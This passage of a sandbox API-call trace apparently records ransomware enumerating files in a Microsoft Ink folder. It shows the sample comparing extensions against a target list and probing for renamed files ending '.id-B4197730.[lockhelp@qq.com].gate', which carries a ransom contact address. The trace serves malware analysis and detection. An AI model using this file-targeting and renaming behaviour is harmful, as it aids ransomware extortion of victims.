shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0275.416] lstrlenW (lpString=".doc") returned 4 [0275.416] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0275.416] lstrlenW (lpString=".docx") returned 5 [0275.416] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0275.416] lstrlenW (lpString=".pdf") returned 4 [0275.417] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0275.417] lstrlenW (lpString=".xls") returned 4 [0275.417] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0275.417] lstrlenW (lpString=".xlsx") returned 5 [0275.417] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0275.417] lstrlenW (lpString=".ppt") returned 4 [0275.417] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0275.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0275.417] lstrlenW (lpString=".zip") returned 4 [0275.417] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0275.417] lstrlenW (lpString=".rar") returned 4 [0275.417] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0275.417] lstrlenW (lpString=".bz2") returned 4 [0275.417] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0275.417] lstrlenW (lpString=".7z") returned 3 [0275.417] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0275.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0275.417] lstrlenW (lpString=".dbf") returned 4 [0275.417] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0275.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0275.417] lstrlenW (lpString=".1cd") returned 4 [0275.417] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0275.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0275.417] lstrlenW (lpString=".jpg") returned 4 [0275.417] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0275.417] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0275.417] lstrlenW (lpString="base_jpn.xml") returned 12 [0275.417] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0275.418] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=804) returned 1 [0275.418] CloseHandle (hObject=0x3a8) returned 1 [0275.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml")) returned 0x20 [0275.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0275.418] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0275.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0275.418] lstrlenW (lpString=".doc") returned 4 [0275.418] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0275.418] lstrlenW (lpString=".docx") returned 5 [0275.418] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0275.418] lstrlenW (lpString=".pdf") returned 4 [0275.418] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0275.418] lstrlenW (lpString=".xls") returned 4 [0275.418] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0275.418] lstrlenW (lpString=".xlsx") returned 5 [0275.418] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0275.418] lstrlenW (lpString=".ppt") returned 4 [0275.418] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0275.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0275.418] lstrlenW (lpString=".zip") returned 4 [0275.419] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0275.419] lstrlenW (lpString=".rar") returned 4 [0275.419] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0275.419] lstrlenW (lpString=".bz2") returned 4 [0275.419] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0275.419] lstrlenW (lpString=".7z") returned 3 [0275.419] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0275.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0275.419] lstrlenW (lpString=".dbf") returned 4 [0275.419] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0275.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0275.419] lstrlenW (lpString=".1cd") returned 4 [0275.419] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0275.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0275.419] lstrlenW (lpString=".jpg") returned 4 [0275.419] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0275.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0275.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0275.419] lstrlenW (lpString=".doc") returned 4 [0275.419] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0275.419] lstrlenW (lpString=".docx") returned 5 [0275.419] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0275.419] lstrlenW (lpString=".pdf") returned 4 [0275.419] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0275.419] lstrlenW (lpString=".xls") returned 4 [0275.419] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0275.419] lstrlenW (lpString=".xlsx") returned 5 [0275.419] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0275.419] lstrlenW (lpString=".ppt") returned 4 [0275.419] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0275.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0275.419] lstrlenW (lpString=".zip") returned 4 [0275.419] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0275.419] lstrlenW (lpString=".rar") returned 4 [0275.420] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0275.420] lstrlenW (lpString=".bz2") returned 4 [0275.420] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0275.420] lstrlenW (lpString=".7z") returned 3 [0275.420] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0275.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0275.420] lstrlenW (lpString=".dbf") returned 4 [0275.420] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0275.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0275.420] lstrlenW (lpString=".1cd") returned 4 [0275.420] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0275.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0275.420] lstrlenW (lpString=".jpg") returned 4 [0275.420] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0275.420] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0275.420] lstrlenW (lpString="base_kor.xml") returned 12 [0275.420] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0275.420] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=488) returned 1 [0275.420] CloseHandle (hObject=0x3a8) returned 1 [0275.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml")) returned 0x20 [0275.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0275.421] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0275.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0275.421] lstrlenW (lpString=".doc") returned 4 [0275.421] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0275.421] lstrlenW (lpString=".docx") returned 5 [0275.421] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0275.421] lstrlenW (lpString=".pdf") returned 4 [0275.421] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0275.421] lstrlenW (lpString=".xls") returned 4 [0275.421] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0275.421] lstrlenW (lpString=".xlsx") returned 5 [0275.421] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0275.421] lstrlenW (lpString=".ppt") returned 4 [0275.421] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0275.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0275.421] lstrlenW (lpString=".zip") returned 4 [0275.421] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0275.421] lstrlenW (lpString=".rar") returned 4 [0275.421] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0275.421] lstrlenW (lpString=".bz2") returned 4 [0275.421] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0275.421] lstrlenW (lpString=".7z") returned 3 [0275.421] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0275.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0275.421] lstrlenW (lpString=".dbf") returned 4 [0275.421] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0275.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0275.421] lstrlenW (lpString=".1cd") returned 4 [0275.421] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0275.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0275.421] lstrlenW (lpString=".jpg") returned 4 [0275.422] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0275.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0275.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0275.422] lstrlenW (lpString=".doc") returned 4 [0275.422] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0275.422] lstrlenW (lpString=".docx") returned 5 [0275.422] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0275.422] lstrlenW (lpString=".pdf") returned 4 [0275.422] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0275.422] lstrlenW (lpString=".xls") returned 4 [0275.422] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0275.422] lstrlenW (lpString=".xlsx") returned 5 [0275.422] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0275.422] lstrlenW (lpString=".ppt") returned 4 [0275.422] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0275.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0275.422] lstrlenW (lpString=".zip") returned 4 [0275.422] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0275.422] lstrlenW (lpString=".rar") returned 4 [0275.422] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0275.422] lstrlenW (lpString=".bz2") returned 4 [0275.422] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0275.422] lstrlenW (lpString=".7z") returned 3 [0275.422] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0275.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0275.422] lstrlenW (lpString=".dbf") returned 4 [0275.422] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0275.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0275.422] lstrlenW (lpString=".1cd") returned 4 [0275.422] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0275.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0275.422] lstrlenW (lpString=".jpg") returned 4 [0275.422] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0275.423] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0275.423] lstrlenW (lpString="base_rtl.xml") returned 12 [0275.423] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0275.423] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=617) returned 1 [0275.423] CloseHandle (hObject=0x3a8) returned 1 [0275.423] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml")) returned 0x20 [0275.423] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0275.423] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0275.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0275.423] lstrlenW (lpString=".doc") returned 4 [0275.423] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0275.423] lstrlenW (lpString=".docx") returned 5 [0275.423] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0275.423] lstrlenW (lpString=".pdf") returned 4 [0275.423] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0275.423] lstrlenW (lpString=".xls") returned 4 [0275.423] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0275.423] lstrlenW (lpString=".xlsx") returned 5 [0275.424] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0275.424] lstrlenW (lpString=".ppt") returned 4 [0275.424] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0275.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0275.424] lstrlenW (lpString=".zip") returned 4 [0275.424] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0275.424] lstrlenW (lpString=".rar") returned 4 [0275.424] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0275.424] lstrlenW (lpString=".bz2") returned 4 [0275.424] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0275.424] lstrlenW (lpString=".7z") returned 3 [0275.424] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0275.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0275.424] lstrlenW (lpString=".dbf") returned 4 [0275.424] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0275.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0275.424] lstrlenW (lpString=".1cd") returned 4 [0275.424] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0275.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0275.424] lstrlenW (lpString=".jpg") returned 4 [0275.424] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0275.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0275.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0275.424] lstrlenW (lpString=".doc") returned 4 [0275.424] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0275.424] lstrlenW (lpString=".docx") returned 5 [0275.424] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0275.424] lstrlenW (lpString=".pdf") returned 4 [0275.424] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0275.424] lstrlenW (lpString=".xls") returned 4 [0275.424] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0275.424] lstrlenW (lpString=".xlsx") returned 5 [0275.424] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0275.425] lstrlenW (lpString=".ppt") returned 4 [0275.425] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0275.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0275.425] lstrlenW (lpString=".zip") returned 4 [0275.425] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0275.425] lstrlenW (lpString=".rar") returned 4 [0275.425] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0275.425] lstrlenW (lpString=".bz2") returned 4 [0275.425] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0275.425] lstrlenW (lpString=".7z") returned 3 [0275.425] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0275.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0275.425] lstrlenW (lpString=".dbf") returned 4 [0275.425] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0275.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0275.425] lstrlenW (lpString=".1cd") returned 4 [0275.425] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0275.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0275.425] lstrlenW (lpString=".jpg") returned 4 [0275.425] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0275.425] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0275.425] lstrlenW (lpString="ja-jp.xml") returned 9 [0275.425] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0275.425] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=16616) returned 1 [0275.425] CloseHandle (hObject=0x3a8) returned 1 [0275.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml")) returned 0x20 [0275.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0275.426] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0275.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0275.426] lstrlenW (lpString=".doc") returned 4 [0275.426] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0275.426] lstrlenW (lpString=".docx") returned 5 [0275.426] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0275.426] lstrlenW (lpString=".pdf") returned 4 [0275.426] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0275.426] lstrlenW (lpString=".xls") returned 4 [0275.426] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0275.426] lstrlenW (lpString=".xlsx") returned 5 [0275.426] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0275.426] lstrlenW (lpString=".ppt") returned 4 [0275.426] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0275.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0275.426] lstrlenW (lpString=".zip") returned 4 [0275.426] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0275.426] lstrlenW (lpString=".rar") returned 4 [0275.426] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0275.426] lstrlenW (lpString=".bz2") returned 4 [0275.426] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0275.426] lstrlenW (lpString=".7z") returned 3 [0275.426] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0275.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0275.426] lstrlenW (lpString=".dbf") returned 4 [0275.426] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0275.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0275.427] lstrlenW (lpString=".1cd") returned 4 [0275.427] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0275.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0275.427] lstrlenW (lpString=".jpg") returned 4 [0275.427] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0275.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0275.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0275.427] lstrlenW (lpString=".doc") returned 4 [0275.427] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0275.427] lstrlenW (lpString=".docx") returned 5 [0275.427] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0275.427] lstrlenW (lpString=".pdf") returned 4 [0275.427] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0275.427] lstrlenW (lpString=".xls") returned 4 [0275.427] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0275.427] lstrlenW (lpString=".xlsx") returned 5 [0275.427] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0275.427] lstrlenW (lpString=".ppt") returned 4 [0275.427] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0275.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0275.427] lstrlenW (lpString=".zip") returned 4 [0275.427] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0275.427] lstrlenW (lpString=".rar") returned 4 [0275.427] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0275.427] lstrlenW (lpString=".bz2") returned 4 [0275.427] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0275.427] lstrlenW (lpString=".7z") returned 3 [0275.427] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0275.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0275.427] lstrlenW (lpString=".dbf") returned 4 [0275.427] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0275.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0275.428] lstrlenW (lpString=".1cd") returned 4 [0275.428] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0275.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0275.428] lstrlenW (lpString=".jpg") returned 4 [0275.428] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0275.428] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0275.428] lstrlenW 